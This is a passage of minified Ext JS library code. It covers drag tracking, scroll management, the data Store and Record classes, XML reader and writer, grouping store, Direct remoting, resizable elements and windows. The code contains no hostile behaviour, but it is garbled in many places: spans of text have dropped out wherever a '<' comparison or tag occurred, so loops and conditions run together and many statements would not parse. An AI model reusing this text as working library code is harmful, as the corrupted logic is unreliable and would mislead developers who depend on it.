this.el},onMouseDown:function(b,a){if(this.fireEvent("mousedown",this,b)!==false&&this.onBeforeStart(b)!==false){this.startXY=this.lastXY=b.getXY();this.dragTarget=this.delegate?a:this.el.dom;if(this.preventDefault!==false){b.preventDefault()}Ext.getDoc().on({scope:this,mouseup:this.onMouseUp,mousemove:this.onMouseMove,selectstart:this.stopSelect});if(this.autoStart){this.timer=this.triggerStart.defer(this.autoStart===true?1000:this.autoStart,this,[b])}}},onMouseMove:function(d,c){if(this.active&&Ext.isIE&&!d.browserEvent.button){d.preventDefault();this.onMouseUp(d);return}d.preventDefault();var b=d.getXY(),a=this.startXY;this.lastXY=b;if(!this.active){if(Math.abs(a[0]-b[0])>this.tolerance||Math.abs(a[1]-b[1])>this.tolerance){this.triggerStart(d)}else{return}}this.fireEvent("mousemove",this,d);this.onDrag(d);this.fireEvent("drag",this,d)},onMouseUp:function(c){var b=Ext.getDoc(),a=this.active;b.un("mousemove",this.onMouseMove,this);b.un("mouseup",this.onMouseUp,this);b.un("selectstart",this.stopSelect,this);c.preventDefault();this.clearStart();this.active=false;delete this.elRegion;this.fireEvent("mouseup",this,c);if(a){this.onEnd(c);this.fireEvent("dragend",this,c)}},triggerStart:function(a){this.clearStart();this.active=true;this.onStart(a);this.fireEvent("dragstart",this,a)},clearStart:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},stopSelect:function(a){a.stopEvent();return false},onBeforeStart:function(a){},onStart:function(a){},onDrag:function(a){},onEnd:function(a){},getDragTarget:function(){return this.dragTarget},getDragCt:function(){return this.el},getXY:function(a){return a?this.constrainModes[a].call(this,this.lastXY):this.lastXY},getOffset:function(c){var b=this.getXY(c),a=this.startXY;return[a[0]-b[0],a[1]-b[1]]},constrainModes:{point:function(b){if(!this.elRegion){this.elRegion=this.getDragCt().getRegion()}var a=this.dragRegion;a.left=b[0];a.top=b[1];a.right=b[0];a.bottom=b[1];a.constrainTo(this.elRegion);return[a.left,a.top]}}});Ext.dd.ScrollManager=function(){var c=Ext.dd.DragDropMgr;var e={};var b=null;var i={};var h=function(m){b=null;a()};var k=function(){if(c.dragCurrent){c.refreshCache(c.dragCurrent.groups)}};var d=function(){if(c.dragCurrent){var m=Ext.dd.ScrollManager;var n=i.el.ddScrollConfig?i.el.ddScrollConfig.increment:m.increment;if(!m.animate){if(i.el.scroll(i.dir,n)){k()}}else{i.el.scroll(i.dir,n,true,m.animDuration,k)}}};var a=function(){if(i.id){clearInterval(i.id)}i.id=0;i.el=null;i.dir=""};var g=function(n,m){a();i.el=n;i.dir=m;var p=n.ddScrollConfig?n.ddScrollConfig.ddGroup:undefined,o=(n.ddScrollConfig&&n.ddScrollConfig.frequency)?n.ddScrollConfig.frequency:Ext.dd.ScrollManager.frequency;if(p===undefined||c.dragCurrent.ddGroup==p){i.id=setInterval(d,o)}};var l=function(p,s){if(s||!c.dragCurrent){return}var t=Ext.dd.ScrollManager;if(!b||b!=c.dragCurrent){b=c.dragCurrent;t.refreshCache()}var u=Ext.lib.Event.getXY(p);var v=new Ext.lib.Point(u[0],u[1]);for(var n in e){var o=e[n],m=o._region;var q=o.ddScrollConfig?o.ddScrollConfig:t;if(m&&m.contains(v)&&o.isScrollable()){if(m.bottom-v.y<=q.vthresh){if(i.el!=o){g(o,"down")}return}else{if(m.right-v.x<=q.hthresh){if(i.el!=o){g(o,"left")}return}else{if(v.y-m.top<=q.vthresh){if(i.el!=o){g(o,"up")}return}else{if(v.x-m.left<=q.hthresh){if(i.el!=o){g(o,"right")}return}}}}}}a()};c.fireEvents=c.fireEvents.createSequence(l,c);c.stopDrag=c.stopDrag.createSequence(h,c);return{register:function(o){if(Ext.isArray(o)){for(var n=0,m=o.length;n]+>/gi,asText:function(a){return String(a).replace(this.stripTagsRE,"")},asUCText:function(a){return String(a).toUpperCase().replace(this.stripTagsRE,"")},asUCString:function(a){return String(a).toUpperCase()},asDate:function(a){if(!a){return 0}if(Ext.isDate(a)){return a.getTime()}return Date.parse(String(a))},asFloat:function(a){var b=parseFloat(String(a).replace(/,/g,""));return isNaN(b)?0:b},asInt:function(a){var b=parseInt(String(a).replace(/,/g,""),10);return isNaN(b)?0:b}};Ext.data.Record=function(a,b){this.id=(b||b===0)?b:Ext.data.Record.id(this);this.data=a||{}};Ext.data.Record.create=function(e){var c=Ext.extend(Ext.data.Record,{});var d=c.prototype;d.fields=new Ext.util.MixedCollection(false,function(g){return g.name});for(var b=0,a=e.length;b-1){a.join(null);this.data.removeAt(b)}if(this.pruneModifiedRecords){this.modified.remove(a)}if(this.snapshot){this.snapshot.remove(a)}if(b>-1){this.fireEvent("remove",this,a,b)}},removeAt:function(a){this.remove(this.getAt(a))},removeAll:function(b){var a=[];this.each(function(c){a.push(c)});this.clearData();if(this.snapshot){this.snapshot.clear()}if(this.pruneModifiedRecords){this.modified=[]}if(b!==true){this.fireEvent("clear",this,a)}},onClear:function(b,a){Ext.each(a,function(d,c){this.destroyRecord(this,d,c)},this)},insert:function(d,c){var e,a,b;c=[].concat(c);for(e=0,a=c.length;e=0;d--){if(b[d].phantom===true){var a=b.splice(d,1).shift();if(a.isValid()){g.push(a)}}else{if(!b[d].isValid()){b.splice(d,1)}}}if(g.length){h.push(["create",g])}if(b.length){h.push(["update",b])}}k=h.length;if(k){e=++this.batchCounter;for(d=0;d=0;b--){this.modified.splice(this.modified.indexOf(a[b]),1)}}else{this.modified.splice(this.modified.indexOf(a),1)}},reMap:function(b){if(Ext.isArray(b)){for(var d=0,a=b.length;d=0;c--){this.insert(b[c].lastIndex,b[c])}}},handleException:function(a){Ext.handleError(a)},reload:function(a){this.load(Ext.applyIf(a||{},this.lastOptions))},loadRecords:function(b,m,h){var e,g;if(this.isDestroyed===true){return}if(!b||h===false){if(h!==false){this.fireEvent("load",this,[],m)}if(m.callback){m.callback.call(m.scope||this,[],m,false,b)}return}var a=b.records,k=b.totalRecords||a.length;if(!m||m.add!==true){if(this.pruneModifiedRecords){this.modified=[]}for(e=0,g=a.length;e-1){this.doUpdate(d)}else{l.push(d);++c}}this.totalLength=Math.max(k,this.data.length+c);this.add(l)}this.fireEvent("load",this,a,m);if(m.callback){m.callback.call(m.scope||this,a,m,true)}},loadData:function(c,a){var b=this.reader.readRecords(c);this.loadRecords(b,{add:a},true)},getCount:function(){return this.data.length||0},getTotalCount:function(){return this.totalLength||0},getSortState:function(){return this.sortInfo},applySort:function(){if((this.sortInfo||this.multiSortInfo)&&!this.remoteSort){this.sortData()}},sortData:function(){var a=this.hasMultiSort?this.multiSortInfo:this.sortInfo,k=a.direction||"ASC",h=a.sorters,c=[];if(!this.hasMultiSort){h=[{direction:k,field:a.field}]}for(var d=0,b=h.length;d1){for(var p=1,o=c.length;ph?1:(i=0;b--){if(Ext.isArray(c)){this.realize(a.splice(b,1).shift(),c.splice(b,1).shift())}else{this.realize(a.splice(b,1).shift(),c)}}}else{if(Ext.isArray(c)&&c.length==1){c=c.shift()}if(!this.isData(c)){throw new Ext.data.DataReader.Error("realize",a)}a.phantom=false;a._phid=a.id;a.id=this.getId(c);a.data=c;a.commit()}},update:function(a,c){if(Ext.isArray(a)){for(var b=a.length-1;b>=0;b--){if(Ext.isArray(c)){this.update(a.splice(b,1).shift(),c.splice(b,1).shift())}else{this.update(a.splice(b,1).shift(),c)}}}else{if(Ext.isArray(c)&&c.length==1){c=c.shift()}if(this.isData(c)){a.data=Ext.apply(a.data,c)}a.commit()}},extractData:function(l,a){var k=(this instanceof Ext.data.JsonReader)?"json":"node";var c=[];if(this.isData(l)&&!(this instanceof Ext.data.XmlReader)){l=[l]}var h=this.recordType.prototype.fields,p=h.items,o=h.length,c=[];if(a===true){var m=this.recordType;for(var e=0;e=0){return new Function("obj","return obj"+(b>0?".":"")+c)}return function(d){return d[c]}}}(),extractValues:function(h,d,a){var g,c={};for(var e=0;e<\u003fxml version="{version}" encoding="{encoding}"\u003f><{documentRoot}><{name}>{value}<{root}><{parent.record}><{name}>{value}',render:function(b,c,a){c=this.toArray(c);b.xmlData=this.tpl.applyTemplate({version:this.xmlVersion,encoding:this.xmlEncoding,documentRoot:(c.length>0||this.forceDocumentRoot===true)?this.documentRoot:false,record:this.meta.record,root:this.root,baseParams:c,records:(Ext.isArray(a[0]))?a:[a]})},createRecord:function(a){return this.toArray(this.toHash(a))},updateRecord:function(a){return this.toArray(this.toHash(a))},destroyRecord:function(b){var a={};a[this.meta.idProperty]=b.id;return this.toArray(a)}});Ext.data.XmlReader=function(a,b){a=a||{};Ext.applyIf(a,{idProperty:a.idProperty||a.idPath||a.id,successProperty:a.successProperty||a.success});Ext.data.XmlReader.superclass.constructor.call(this,a,b||a.fields)};Ext.extend(Ext.data.XmlReader,Ext.data.DataReader,{read:function(a){var b=a.responseXML;if(!b){throw {message:"XmlReader.read: XML Document not available"}}return this.readRecords(b)},readRecords:function(d){this.xmlData=d;var a=d.documentElement||d,c=Ext.DomQuery,g=0,e=true;if(this.meta.totalProperty){g=this.getTotal(a,0)}if(this.meta.successProperty){e=this.getSuccess(a)}var b=this.extractData(c.select(this.meta.record,a),true);return{success:e,records:b,totalRecords:g||b.length}},readResponse:function(g,b){var e=Ext.DomQuery,h=b.responseXML,a=h.documentElement||h;var c=new Ext.data.Response({action:g,success:this.getSuccess(a),message:this.getMessage(a),data:this.extractData(e.select(this.meta.record,a)||e.select(this.meta.root,a),false),raw:h});if(Ext.isEmpty(c.success)){throw new Ext.data.DataReader.Error("successProperty-response",this.meta.successProperty)}if(g===Ext.data.Api.actions.create){var d=Ext.isDefined(c.data);if(d&&Ext.isEmpty(c.data)){throw new Ext.data.JsonReader.Error("root-empty",this.meta.root)}else{if(!d){throw new Ext.data.JsonReader.Error("root-undefined-response",this.meta.root)}}}return c},getSuccess:function(){return true},buildExtractors:function(){if(this.ef){return}var m=this.meta,h=this.recordType,e=h.prototype.fields,l=e.items,k=e.length;if(m.totalProperty){this.getTotal=this.createAccessor(m.totalProperty)}if(m.successProperty){this.getSuccess=this.createAccessor(m.successProperty)}if(m.messageProperty){this.getMessage=this.createAccessor(m.messageProperty)}this.getRoot=function(g){return(!Ext.isEmpty(g[this.meta.record]))?g[this.meta.record]:g[this.meta.root]};if(m.idPath||m.idProperty){var d=this.createAccessor(m.idPath||m.idProperty);this.getId=function(g){var i=d(g)||g.id;return(i===undefined||i==="")?null:i}}else{this.getId=function(){return null}}var c=[];for(var b=0;b0&&c[0].field==this.groupField){c.shift()}this.groupField=e;this.groupDir=d;this.applyGroupField();var b=function(){this.fireEvent("groupchange",this,this.getGroupState())};if(this.groupOnSort){this.sort(e,d);b.call(this);return}if(this.remoteGroup){this.on("load",b,this,{single:true});this.reload()}else{this.sort(c);b.call(this)}},sort:function(h,c){if(this.remoteSort){return Ext.data.GroupingStore.superclass.sort.call(this,h,c)}var g=[];if(Ext.isArray(arguments[0])){g=arguments[0]}else{if(h==undefined){g=this.sortInfo?[this.sortInfo]:[]}else{var e=this.fields.get(h);if(!e){return false}var b=e.name,a=this.sortInfo||null,d=this.sortToggle?this.sortToggle[b]:null;if(!c){if(a&&a.field==b){c=(this.sortToggle[b]||"ASC").toggle("ASC","DESC")}else{c=e.sortDir}}this.sortToggle[b]=c;this.sortInfo={field:b,direction:c};g=[this.sortInfo]}}if(this.groupField){g.unshift({direction:this.groupDir,field:this.groupField})}return this.multiSort.call(this,g,c)},applyGroupField:function(){if(this.remoteGroup){if(!this.baseParams){this.baseParams={}}Ext.apply(this.baseParams,{groupBy:this.groupField,groupDir:this.groupDir});var a=this.lastOptions;if(a&&a.params){a.params.groupDir=this.groupDir;delete a.params.groupBy}}},applyGrouping:function(a){if(this.groupField!==false){this.groupBy(this.groupField,true,this.groupDir);return true}else{if(a===true){this.fireEvent("datachanged",this)}return false}},getGroupState:function(){return this.groupOnSort&&this.groupField!==false?(this.sortInfo?this.sortInfo.field:undefined):this.groupField}});Ext.reg("groupingstore",Ext.data.GroupingStore);Ext.data.DirectProxy=function(a){Ext.apply(this,a);if(typeof this.paramOrder=="string"){this.paramOrder=this.paramOrder.split(/[\s,|]/)}Ext.data.DirectProxy.superclass.constructor.call(this,a)};Ext.extend(Ext.data.DirectProxy,Ext.data.DataProxy,{paramOrder:undefined,paramsAsHash:true,directFn:undefined,doRequest:function(b,c,a,e,l,m,o){var k=[],h=this.api[b]||this.directFn;switch(b){case Ext.data.Api.actions.create:k.push(a.jsonData);break;case Ext.data.Api.actions.read:if(h.directCfg.method.len>0){if(this.paramOrder){for(var d=0,g=this.paramOrder.length;d1){for(var d=0,b=c.length;d0){this.doSend(a==1?this.callBuffer[0]:this.callBuffer);this.callBuffer=[]}},queueTransaction:function(a){if(a.form){this.processForm(a);return}this.callBuffer.push(a);if(this.enableBuffer){if(!this.callTask){this.callTask=new Ext.util.DelayedTask(this.combineAndSend,this)}this.callTask.delay(Ext.isNumber(this.enableBuffer)?this.enableBuffer:10)}else{this.combineAndSend()}},doCall:function(i,a,b){var h=null,e=b[a.len],g=b[a.len+1];if(a.len!==0){h=b.slice(0,a.len)}var d=new Ext.Direct.Transaction({provider:this,args:b,action:i,method:a.name,data:h,cb:g&&Ext.isFunction(e)?e.createDelegate(g):e});if(this.fireEvent("beforecall",this,d,a)!==false){Ext.Direct.addTransaction(d);this.queueTransaction(d);this.fireEvent("call",this,d,a)}},doForm:function(k,b,g,i,e){var d=new Ext.Direct.Transaction({provider:this,action:k,method:b.name,args:[g,i,e],cb:e&&Ext.isFunction(i)?i.createDelegate(e):i,isForm:true});if(this.fireEvent("beforecall",this,d,b)!==false){Ext.Direct.addTransaction(d);var a=String(g.getAttribute("enctype")).toLowerCase()=="multipart/form-data",h={extTID:d.tid,extAction:k,extMethod:b.name,extType:"rpc",extUpload:String(a)};Ext.apply(d,{form:Ext.getDom(g),isUpload:a,params:i&&Ext.isObject(i.params)?Ext.apply(h,i.params):h});this.fireEvent("call",this,d,b);this.processForm(d)}},processForm:function(a){Ext.Ajax.request({url:this.url,params:a.params,callback:this.onData,scope:this,form:a.form,isUpload:a.isUpload,ts:a})},createMethod:function(d,a){var b;if(!a.formHandler){b=function(){this.doCall(d,a,Array.prototype.slice.call(arguments,0))}.createDelegate(this)}else{b=function(e,g,c){this.doForm(d,a,e,g,c)}.createDelegate(this)}b.directCfg={action:d,method:a};return b},getTransaction:function(a){return a&&a.tid?Ext.Direct.getTransaction(a.tid):null},doCallback:function(c,g){var d=g.status?"success":"failure";if(c&&c.cb){var b=c.cb,a=Ext.isDefined(g.result)?g.result:g.data;if(Ext.isFunction(b)){b(a,g)}else{Ext.callback(b[d],b.scope,[a,g]);Ext.callback(b.callback,b.scope,[a,g])}}}});Ext.Direct.PROVIDERS.remoting=Ext.direct.RemotingProvider;Ext.Resizable=Ext.extend(Ext.util.Observable,{constructor:function(d,e){this.el=Ext.get(d);if(e&&e.wrap){e.resizeChild=this.el;this.el=this.el.wrap(typeof e.wrap=="object"?e.wrap:{cls:"xresizable-wrap"});this.el.id=this.el.dom.id=e.resizeChild.id+"-rzwrap";this.el.setStyle("overflow","hidden");this.el.setPositioning(e.resizeChild.getPositioning());e.resizeChild.clearPositioning();if(!e.width||!e.height){var g=e.resizeChild.getSize();this.el.setSize(g.width,g.height)}if(e.pinned&&!e.adjustments){e.adjustments="auto"}}this.proxy=this.el.createProxy({tag:"div",cls:"x-resizable-proxy",id:this.el.id+"-rzproxy"},Ext.getBody());this.proxy.unselectable();this.proxy.enableDisplayMode("block");Ext.apply(this,e);if(this.pinned){this.disableTrackOver=true;this.el.addClass("x-resizable-pinned")}var l=this.el.getStyle("position");if(l!="absolute"&&l!="fixed"){this.el.setStyle("position","relative")}if(!this.handles){this.handles="s,e,se";if(this.multiDirectional){this.handles+=",n,w"}}if(this.handles=="all"){this.handles="n s e w ne nw se sw"}var p=this.handles.split(/\s*?[,;]\s*?| /);var c=Ext.Resizable.positions;for(var k=0,m=p.length;k0){if(a>(e/2)){d=c+(e-a)}else{d=c-a}}return Math.max(b,d)},resizeElement:function(){var a=this.proxy.getBox();if(this.updateBox){this.el.setBox(a,false,this.animate,this.duration,null,this.easing)}else{this.el.setSize(a.width,a.height,this.animate,this.duration,null,this.easing)}this.updateChildSize();if(!this.dynamic){this.proxy.hide()}if(this.draggable&&this.constrainTo){this.dd.resetConstraints();this.dd.constrainTo(this.constrainTo)}return a},constrain:function(b,c,a,d){if(b-cd){c=b-d}}return c},onMouseMove:function(A){if(this.enabled&&this.activeHandle){try{if(this.resizeRegion&&!this.resizeRegion.contains(A.getPoint())){return}var u=this.curSize||this.startBox,m=this.startBox.x,l=this.startBox.y,c=m,b=l,n=u.width,v=u.height,d=n,p=v,o=this.minWidth,B=this.minHeight,t=this.maxWidth,E=this.maxHeight,i=this.widthIncrement,a=this.heightIncrement,C=A.getXY(),s=-(this.startPoint[0]-Math.max(this.minX,C[0])),q=-(this.startPoint[1]-Math.max(this.minY,C[1])),k=this.activeHandle.position,F,g;switch(k){case"east":n+=s;n=Math.min(Math.max(o,n),t);break;case"south":v+=q;v=Math.min(Math.max(B,v),E);break;case"southeast":n+=s;v+=q;n=Math.min(Math.max(o,n),t);v=Math.min(Math.max(B,v),E);break;case"north":q=this.constrain(v,q,B,E);l+=q;v-=q;break;case"west":s=this.constrain(n,s,o,t);m+=s;n-=s;break;case"northeast":n+=s;n=Math.min(Math.max(o,n),t);q=this.constrain(v,q,B,E);l+=q;v-=q;break;case"northwest":s=this.constrain(n,s,o,t);q=this.constrain(v,q,B,E);l+=q;v-=q;m+=s;n-=s;break;case"southwest":s=this.constrain(n,s,o,t);v+=q;v=Math.min(Math.max(B,v),E);m+=s;n-=s;break}var r=this.snap(n,i,o);var D=this.snap(v,a,B);if(r!=n||D!=v){switch(k){case"northeast":l-=D-v;break;case"north":l-=D-v;break;case"southwest":m-=r-n;break;case"west":m-=r-n;break;case"northwest":m-=r-n;l-=D-v;break}n=r;v=D}if(this.preserveRatio){switch(k){case"southeast":case"east":v=p*(n/d);v=Math.min(Math.max(B,v),E);n=d*(v/p);break;case"south":n=d*(v/p);n=Math.min(Math.max(o,n),t);v=p*(n/d);break;case"northeast":n=d*(v/p);n=Math.min(Math.max(o,n),t);v=p*(n/d);break;case"north":F=n;n=d*(v/p);n=Math.min(Math.max(o,n),t);v=p*(n/d);m+=(F-n)/2;break;case"southwest":v=p*(n/d);v=Math.min(Math.max(B,v),E);F=n;n=d*(v/p);m+=F-n;break;case"west":g=v;v=p*(n/d);v=Math.min(Math.max(B,v),E);l+=(g-v)/2;F=n;n=d*(v/p);m+=F-n;break;case"northwest":F=n;g=v;v=p*(n/d);v=Math.min(Math.max(B,v),E);n=d*(v/p);l+=g-v;m+=F-n;break}}this.proxy.setBounds(m,l,n,v);if(this.dynamic){this.resizeElement()}}catch(z){}}},handleOver:function(){if(this.enabled){this.el.addClass("x-resizable-over")}},handleOut:function(){if(!this.resizing){this.el.removeClass("x-resizable-over")}},getEl:function(){return this.el},getResizeChild:function(){return this.resizeChild},destroy:function(b){Ext.destroy(this.dd,this.overlay,this.proxy);this.overlay=null;this.proxy=null;var c=Ext.Resizable.positions;for(var a in c){if(typeof c[a]!="function"&&this[c[a]]){this[c[a]].destroy()}}if(b){this.el.update("");Ext.destroy(this.el);this.el=null}this.purgeListeners()},syncHandleHeight:function(){var a=this.el.getHeight(true);if(this.west){this.west.el.setHeight(a)}if(this.east){this.east.el.setHeight(a)}}});Ext.Resizable.positions={n:"north",s:"south",e:"east",w:"west",se:"southeast",sw:"southwest",nw:"northwest",ne:"northeast"};Ext.Resizable.Handle=Ext.extend(Object,{constructor:function(d,g,c,e,a){if(!this.tpl){var b=Ext.DomHelper.createTemplate({tag:"div",cls:"x-resizable-handle x-resizable-handle-{0}"});b.compile();Ext.Resizable.Handle.prototype.tpl=b}this.position=g;this.rz=d;this.el=this.tpl.append(d.el.dom,[this.position],true);this.el.unselectable();if(e){this.el.setOpacity(0)}if(!Ext.isEmpty(a)){this.el.addClass(a)}this.el.on("mousedown",this.onMouseDown,this);if(!c){this.el.on({scope:this,mouseover:this.onMouseOver,mouseout:this.onMouseOut})}},afterResize:function(a){},onMouseDown:function(a){this.rz.onMouseDown(this,a)},onMouseOver:function(a){this.rz.handleOver(this,a)},onMouseOut:function(a){this.rz.handleOut(this,a)},destroy:function(){Ext.destroy(this.el);this.el=null}});Ext.Window=Ext.extend(Ext.Panel,{baseCls:"x-window",resizable:true,draggable:true,closable:true,closeAction:"close",constrain:false,constrainHeader:false,plain:false,minimizable:false,maximizable:false,minHeight:100,minWidth:200,expandOnShow:true,showAnimDuration:0.25,hideAnimDuration:0.25,collapsible:false,initHidden:undefined,hidden:true,elements:"header,body",frame:true,floating:true,initComponent:function(){this.initTools();Ext.Window.superclass.initComponent.call(this);this.addEvents("resize","maximize","minimize","restore");if(Ext.isDefined(this.initHidden)){this.hidden=this.initHidden}if(this.hidden===false){this.hidden=true;this.show()}},getState:function(){return Ext.apply(Ext.Window.superclass.getState.call(this)||{},this.getBox(true))},onRender:function(b,a){Ext.Window.superclass.onRender.call(this,b,a);if(this.plain){this.el.addClass("x-window-plain")}this.focusEl=this.el.createChild({tag:"a",href:"#",cls:"x-dlg-focus",tabIndex:"-1",html:" "});this.focusEl.swallowEvent("click",true);this.proxy=this.el.createProxy("x-window-proxy");this.proxy.enableDisplayMode("block");if(this.modal){this.mask=this.container.createChild({cls:"ext-el-mask"},this.el.dom);this.mask.enableDisplayMode("block");this.mask.hide();this.mon(this.mask,"click",this.focus,this)}if(this.maximizable){this.mon(this.header,"dblclick",this.toggleMaximize,this)}},initEvents:function(){Ext.Window.superclass.initEvents.call(this);if(this.animateTarget){this.setAnimateTarget(this.animateTarget)}if(this.resizable){this.resizer=new Ext.Resizable(this.el,{minWidth:this.minWidth,minHeight:this.minHeight,handles:this.resizeHandles||"all",pinned:true,resizeElement:this.resizerAction,handleCls:"x-window-handle"});this.resizer.window=this;this.mon(this.resizer,"beforeresize",this.beforeResize,this)}if(this.draggable){this.header.addClass("x-window-draggable")}this.mon(this.el,"mousedown",this.toFront,this);this.manager=this.manager||Ext.WindowMgr;this.manager.register(this);if(this.maximized){this.maximized=false;this.maximize()}if(this.closable){var a=this.getKeyMap();a.on(27,this.onEsc,this);a.disable()}},initDraggable:function(){this.dd=new Ext.Window.DD(this)},onEsc:function(a,b){b.stopEvent();this[this.closeAction]()},beforeDestroy:function(){if(this.rendered){this.hide();this.clearAnchor();Ext.destroy(this.focusEl,this.resizer,this.dd,this.proxy,this.mask)}Ext.Window.superclass.beforeDestroy.call(this)},onDestroy:function(){if(this.manager){this.manager.unregister(this)}Ext.Window.superclass.onDestroy.call(this)},initTools:function(){if(this.minimizable){this.addTool({id:"minimize",handler:this.minimize.createDelegate(this,[])})}if(this.maximizable){this.addTool({id:"maximize",handler:this.maximize.createDelegate(this,[])});this.addTool({id:"restore",handler:this.restore.createDelegate(this,[]),hidden:true})}if(this.closable){this.addTool({id:"close",handler:this[this.closeAction].createDelegate(this,[])})}},resizerAction:function(){var a=this.proxy.getBox();this.proxy.hide();this.window.handleResize(a);return a},beforeResize:function(){this.resizer.minHeight=Math.max(this.minHeight,this.getFrameHeight()+40);this.resizer.minWidth=Math.max(this.minWidth,this.getFrameWidth()+40);this.resizeBox=this.el.getBox()},updateHandles:function(){if(Ext.isIE&&this.resizer){this.resizer.syncHandleHeight();this.el.repaint()}},handleResize:function(b){var a=this.resizeBox;if(a.x!=b.x||a.y!=b.y){this.updateBox(b)}else{this.setSize(b);if(Ext.isIE6&&Ext.isStrict){this.doLayout()}}this.focus();this.updateHandles();this.saveState()},focus:function(){var e=this.focusEl,a=this.defaultButton,c=typeof a,d,b;if(Ext.isDefined(a)){if(Ext.isNumber(a)&&this.fbar){e=this.fbar.items.get(a)}else{if(Ext.isString(a)){e=Ext.getCmp(a)}else{e=a}}d=e.getEl();b=Ext.getDom(this.container);if(d&&b){if(b!=document.body&&!Ext.lib.Region.getRegion(b).contains(Ext.lib.Region.getRegion(d.dom))){return}}}e=e||this.focusEl;e.focus.defer(10,e)},setAnimateTarget:function(a){a=Ext.get(a);this.animateTarget=a},beforeShow:function(){delete this.el.lastXY;delete this.el.lastLT;if(this.x===undefined||this.y===undefined){var a=this.el.getAlignToXY(this.container,"c-c");var b=this.el.translatePoints(a[0],a[1]);this.x=this.x===undefined?b.left:this.x;this.y=this.y===undefined?b.top:this.y}this.el.setLeftTop(this.x,this.y);if(this.expandOnShow){this.expand(false)}if(this.modal){Ext.getBody().addClass("x-body-masked");this.mask.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true));this.mask.show()}},show:function(c,a,b){if(!this.rendered){this.render(Ext.getBody())}if(this.hidden===false){this.toFront();return this}if(this.fireEvent("beforeshow",this)===false){return this}if(a){this.on("show",a,b,{single:true})}this.hidden=false;if(Ext.isDefined(c)){this.setAnimateTarget(c)}this.beforeShow();if(this.animateTarget){this.animShow()}else{this.afterShow()}return this},afterShow:function(b){if(this.isDestroyed){return false}this.proxy.hide();this.el.setStyle("display","block");this.el.show();if(this.maximized){this.fitContainer()}if(Ext.isMac&&Ext.isGecko2){this.cascade(this.setAutoScroll)}if(this.monitorResize||this.modal||this.constrain||this.constrainHeader){Ext.EventManager.onWindowResize(this.onWindowResize,this)}this.doConstrain();this.doLayout();if(this.keyMap){this.keyMap.enable()}this.toFront();this.updateHandles();if(b&&(Ext.isIE||Ext.isWebKit)){var a=this.getSize();this.onResize(a.width,a.height)}this.onShow();this.fireEvent("show",this)},animShow:function(){this.proxy.show();this.proxy.setBox(this.animateTarget.getBox());this.proxy.setOpacity(0);var a=this.getBox();this.el.setStyle("display","none");this.proxy.shift(Ext.apply(a,{callback:this.afterShow.createDelegate(this,[true],false),scope:this,easing:"easeNone",duration:this.showAnimDuration,opacity:0.5}))},hide:function(c,a,b){if(this.hidden||this.fireEvent("beforehide",this)===false){return this}if(a){this.on("hide",a,b,{single:true})}this.hidden=true;if(c!==undefined){this.setAnimateTarget(c)}if(this.modal){this.mask.hide();Ext.getBody().removeClass("x-body-masked")}if(this.animateTarget){this.animHide()}else{this.el.hide();this.afterHide()}return this},afterHide:function(){this.proxy.hide();if(this.monitorResize||this.modal||this.constrain||this.constrainHeader){Ext.EventManager.removeResizeListener(this.onWindowResize,this)}if(this.keyMap){this.keyMap.disable()}this.onHide();this.fireEvent("hide",this)},animHide:function(){this.proxy.setOpacity(0.5);this.proxy.show();var a=this.getBox(false);this.proxy.setBox(a);this.el.hide();this.proxy.shift(Ext.apply(this.animateTarget.getBox(),{callback:this.afterHide,scope:this,duration:this.hideAnimDuration,easing:"easeNone",opacity:0}))},onShow:Ext.emptyFn,onHide:Ext.emptyFn,onWindowResize:function(){if(this.maximized){this.fitContainer()}if(this.modal){this.mask.setSize("100%","100%");var a=this.mask.dom.offsetHeight;this.mask.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true))}this.doConstrain()},doConstrain:function(){if(this.constrain||this.constrainHeader){var b;if(this.constrain){b={right:this.el.shadowOffset,left:this.el.shadowOffset,bottom:this.el.shadowOffset}}else{var a=this.getSize();b={right:-(a.width-100),bottom:-(a.height-25)}}var c=this.el.getConstrainToXY(this.container,true,b);if(c){this.setPosition(c[0],c[1])}}},ghost:function(a){var c=this.createGhost(a);var b=this.getBox(true);c.setLeftTop(b.x,b.y);c.setWidth(b.width);this.el.hide();this.activeGhost=c;return c},unghost:function(b,a){if(!this.activeGhost){return}if(b!==false){this.el.show();this.focus.defer(10,this);if(Ext.isMac&&Ext.isGecko2){this.cascade(this.setAutoScroll)}}if(a!==false){this.setPosition(this.activeGhost.getLeft(true),this.activeGhost.getTop(true))}this.activeGhost.hide();this.activeGhost.remove();delete this.activeGhost},minimize:function(){this.fireEvent("minimize",this);return this},close:function(){if(this.fireEvent("beforeclose",this)!==false){if(this.hidden){this.doClose()}else{this.hide(null,this.doClose,this)}}},doClose:function(){this.fireEvent("close",this);this.destroy()},maximize:function(){if(!this.maximized){this.expand(false);this.restoreSize=this.getSize();this.restorePos=this.getPosition(true);if(this.maximizable){this.tools.maximize.hide();this.tools.restore.show()}this.maximized=true;this.el.disableShadow();if(this.dd){this.dd.lock()}if(this.collapsible){this.tools.toggle.hide()}this.el.addClass("x-window-maximized");this.container.addClass("x-window-maximized-ct");this.setPosition(0,0);this.fitContainer();this.fireEvent("maximize",this)}return this},restore:function(){if(this.maximized){var a=this.tools;this.el.removeClass("x-window-maximized");if(a.restore){a.restore.hide()}if(a.maximize){a.maximize.show()}this.setPosition(this.restorePos[0],this.restorePos[1]);this.setSize(this.restoreSize.width,this.restoreSize.height);delete this.restorePos;delete this.restoreSize;this.maximized=false;this.el.enableShadow(true);if(this.dd){this.dd.unlock()}if(this.collapsible&&a.toggle){a.toggle.show()}this.container.removeClass("x-window-maximized-ct");this.doConstrain();this.fireEvent("restore",this)}return this},toggleMaximize:function(){return this[this.maximized?"restore":"maximize"]()},fitContainer:function(){var a=this.container.getViewSize(false);this.setSize(a.width,a.height)},setZIndex:function(a){if(this.modal){this.mask.setStyle("z-index",a)}this.el.setZIndex(++a);a+=5;if(this.resizer){this.resizer.proxy.setStyle("z-index",++a)}this.lastZIndex=a},alignTo:function(b,a,c){var d=this.el.getAlignToXY(b,a,c);this.setPagePosition(d[0],d[1]);return this},anchorTo:function(c,e,d,b){this.clearAnchor();this.anchorTarget={el:c,alignment:e,offsets:d};Ext.EventManager.onWindowResize(this.doAnchor,this);var a=typeof b;if(a!="undefined"){Ext.EventManager.on(window,"scroll",this.doAnchor,this,{buffer:a=="number"?b:50})}return this.doAnchor()},doAnchor:function(){var a=this.anchorTarget;this.alignTo(a.el,a.alignment,a.offsets);return 